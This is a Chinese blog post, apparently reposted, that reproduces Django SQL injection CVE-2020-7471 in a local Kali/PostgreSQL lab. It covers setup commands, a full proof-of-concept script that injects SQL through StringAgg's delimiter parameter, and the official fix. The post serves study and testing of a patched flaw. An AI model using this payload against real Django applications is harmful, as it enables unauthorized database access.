CVE-2020-7471漏洞复现

简介

2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。

漏洞影响

受影响版本:

  • Django 1.11.x < 1.11.28
  • Django 2.2.x < 2.2.10
  • Django 3.0.x < 3.0.3

不受影响产品版本:

  • Django 1.11.28
  • Django 2.2.10
  • Django 3.0.3

前期准备

一台kali linux(2020-1,下方实验会涉及postgresql的密码修改,若修改密码请进入自己的版本对应的目录进行修改)
注:若两台linux进行操作,需保证两机可以相互ping通,同时可以访问网站

开始实验

gohb@gohb:~$ sudo apt-get install python3-pip
gohb@gohb:~$ pip3 install django==3.0.2 -i https://pypi.mirrors.ustc.edu.cn/simple/
#因为kali-2020.1自带postgresql
#小编在此就不演示postgresql的安装了
#小编在此演示下忘记密码的操作
gohb@gohb:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf 
#做如下修改

在这里插入图片描述

gohb@gohb:~$ sudo service postgresql restart
gohb@gohb:~$ psql -U postgres -h 127.0.0.1
#此时是免密进入,进行密码修改

在这里插入图片描述

gohb@gohb:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf 
#更改配置文件,关闭免密登陆

在这里插入图片描述

扫描二维码关注公众号,回复: 10730334 查看本文章
gohb@gohb:~$ sudo service postgresql restart
#重启postgresql
gohb@gohb:~$ psql -U postgres -h 127.0.0.1
#创建数据库test

在这里插入图片描述

gohb@gohb:~$ git clone https://github.com/Saferman/CVE-2020-7471.git
gohb@gohb:~$ cd CVE-2020-7471/
gohb@gohb:~/CVE-2020-7471$ cd sqlvul_project/
gohb@gohb:~/CVE-2020-7471/sqlvul_project$ vi settings.py 
#修改setting中数据库的相关配置

在这里插入图片描述

gohb@gohb:~/CVE-2020-7471/sqlvul_project$ cd ..
gohb@gohb:~/CVE-2020-7471$ python3 manage.py migrate
gohb@gohb:~/CVE-2020-7471$ python3 manage.py makemigrations vul_app
gohb@gohb:~/CVE-2020-7471$ python3 manage.py migrate vul_app
#将表结构迁移到数据库中
gohb@gohb:~/CVE-2020-7471$ psql -U postgres -h 127.0.0.1
#登陆数据库

在这里插入图片描述
查看表vul_app_info中原不存在数据
在这里插入图片描述

gohb@gohb:~/CVE-2020-7471$ python3 CVE-2020-7471.py 
#运行poc

在这里插入图片描述
成功注入
在这里插入图片描述

POC解读

# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
    django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""

def initdb():
    data = [('li','male'),('zhao','male'),('zhang','female')]
    for name,gender in data:
        Info.objects.get_or_create(name=name,gender=gender)

def query():
    # FUZZ delimiter
    error_c = []
    other_error_c = []
    for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
        try:
            for e in results:
                pass
        except IndexError:
            error_c.append(c)
        except:
            other_error_c.append(c)
    print(error_c)
    print(other_error_c)

def query_with_evil():
    '''
    注入点证明
    分别设置delimiter为 单引号 二个单引号 二个双引号
    尝试注释后面的内容 ')--
    :return:
    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)



if __name__ == '__main__':
    print(django.VERSION) # 测试版本 3.0.2
    initdb()
    query()
    query_with_evil()

payload通过调用StringAgg,但是整个POC的核心还是因为参数delimiter出现的转义问题。

修复方案

官方对 delimiter 使用Value(str(delimiter))处理来防御 django

查看Value函数源码,注释写的非常清楚,Vlue处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。
在这里插入图片描述

发布了77 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_39682037/article/details/105160090
今日推荐